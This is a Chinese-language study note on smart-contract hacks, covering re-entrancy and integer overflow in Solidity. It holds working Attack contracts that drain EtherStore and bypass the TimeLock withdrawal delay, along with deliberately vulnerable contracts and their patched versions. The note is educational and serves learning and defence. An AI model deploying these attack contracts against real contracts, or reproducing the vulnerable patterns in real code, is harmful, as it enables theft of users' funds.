- 2025.1.19: 0x01~0x02
Hacks
0x01 Re-Entrancy(重入攻击)
demo学习
- 部署 EtherStore 合约
- 账号1 Alice 和帐号2 Bob 各自存入 1 Ether 到 EtherStore
- 用EtherStore的地址部署Attack合约
- 攻击者Eve调用Attack.attack,往 EtherStore 存 1 ether后取出,那么他将拿回来 3 ether。
攻击者可以在 EtherStore.withdraw 完成执行之前,多次调用 EtherStore.withdraw。
函数调用过程见下面注释
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
/*
EtherStore is a contract where you can deposit and withdraw ETH.
This contract is vulnerable to re-entrancy attack.
Let's see why.
1. Deploy EtherStore
2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore
3. Deploy Attack with address of EtherStore
4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).
You will get 3 Ethers back (2 Ether stolen from Alice and Bob,
plus 1 Ether sent from this contract).
What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
Here is how the functions were called
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable { // 【2】存 1 ether
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender]; // 【4】取余额,并检查必须大于0
require(bal > 0);
// 【5】这里call一个不存在的函数,将触发调用者Attack合约里的fallback函数
// 传过去的值为所有余额,也就是会把所有余额取出
(bool sent,) = msg.sender.call{value: bal}("");
// 【8】因为这里call会等待Attack的fallback函数执行结束再往下走,所以这里会递归执行withdraw
// 而因为没有执行下面的清空操作 balances[msg.sender] = 0,所以上面的require检查是会通过的,再次转钱!
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
//【6】当EtherStore 把 1 ether发回到这个合约的时候(也就是攻击者收1 ether)就会调用fallback函数
fallback() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw(); // 【7】只要EtherStore合约里还有余额就再次调用withdraw
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}(); // 【1】 攻击者存 1 ether
etherStore.withdraw(); // 【3】 攻击者取 1 ether
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
再看一下用 call 和 fallback 来转账
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
// 这是在以太坊上发送 ETH 的低级调用方法
// `msg.sender` 是接收 ETH 的地址
// `{value: bal}` 指定要发送的 ETH 数量
// `("")` 表示这是一个没有调用任何函数的纯转账
// 这个调用会返回两个值:(bool, bytes memory),第一个值表示调用是否成功(true/false)
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
那么怎样写才是正确的呢?
- 确保状态更改在合约交互之前
- 用 function modifiers 来防重入攻击
modifier
关键字用于声明修饰器。modifierName
是修饰器的名称。parameters
是可选的参数列表。_
是一个特殊的占位符,表示函数的代码将在该位置执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
试着patch一下上面的合约
contract EtherStore {
bool internal locked;
mapping(address => uint256) public balances;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public noReentrant{ // [patch 2]加上 function modifiers 来防重入攻击
uint256 bal = balances[msg.sender];
require(bal > 0);
balances[msg.sender] = 0; // [patch 1]把state变量的修改放到合约交互前
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Real World Example:DAO
https://github.com/demining/Dao-Exploit
https://www.addesp.com/archives/186
0x02 Arithmetic Overflow and Underflow
Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.
0.8版本及以后自动检测并抛出错误,但是之前的版本需要注意。
TimeLock 合约是让人存进去之后一周内不能取款,而且提供了一个函数可以让用户增加这个“锁钱”的时间。而如果攻击成功的话,攻击者可以立即取钱。具体过程见注释
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for at least a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
// [1] 存钱,并将lockTime[msg.sender]加 1 week
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// [2] 增加lock time
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
// [3] 取钱,取之前有两个检查:1)余额大于0;2)当前时间要在lock time之后
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
// [4] 所以,如果想立即取钱,就需要让lock time (lockTime[msg.sender])尽可能提前,最好是0
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}(); // [5] 存钱
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0 // 无符号整型 overflow
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
// [6] 想法子让lock time设置为当前时间,那么再下一步取钱的时候,那个时候就会在lock time后面了
// 而法子具体见上面的注释,调用increaseLockTime就会发生计算:0 - locktime + locktime = 0
// 最后把lockTime[msg.sender] 设置为0
timeLock.increaseLockTime(
type(uint256).max + 1 - timeLock.lockTime(address(this))
);
// [7] 取钱的时候就能直接取
timeLock.withdraw();
}
}
怎么理解:timeLock.lockTime(address(this)?
是在访问 TimeLock 合约中的 public mapping,因为这个映射是 public 的,Solidity 自动为它生成了一个同名的 getter 函数。这个 getter 函数可以通过传入地址来查询对应的锁定时间。
patch则是使用数学库或者自己加上检查,比如之前入门demo里那样,在加完之后assert一下
Real-World Example: PoWHC and Batch Transfer Overflow (CVE-2018–10299)
- https://medium.com/@ebanisadr/how-800k-evaporated-from-the-powh-coin-ponzi-scheme-overnight-1b025c33b530
- https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
- https://peckshield.medium.com/alert-new-batchoverflow-bug-in-multiple-erc20-smart-contracts-cve-2018-10299-511067db6536
0x03 Self Destruct
0x04 Accessing Private Data
0x05 Delegatecall
0x06 Source of Randomness
0x07 Denial of Service
0x08 Phishing with tx.origin
0x09 Hiding Malicious Code with External Contract
0x0A Honeypot
0x0B Front Running
0x0C Block Timestamp Manipulation
0x0D Signature Replay
0x0E Bypass Contract Size Check
0x0F Deploy Different Contracts at the Same Address
0x10 Vault Inflation
0x11 WETH Permit
参考文献
- https://solidity-by-example.org/hacks/re-entrancy/
- https://github.com/demining/Dao-Exploit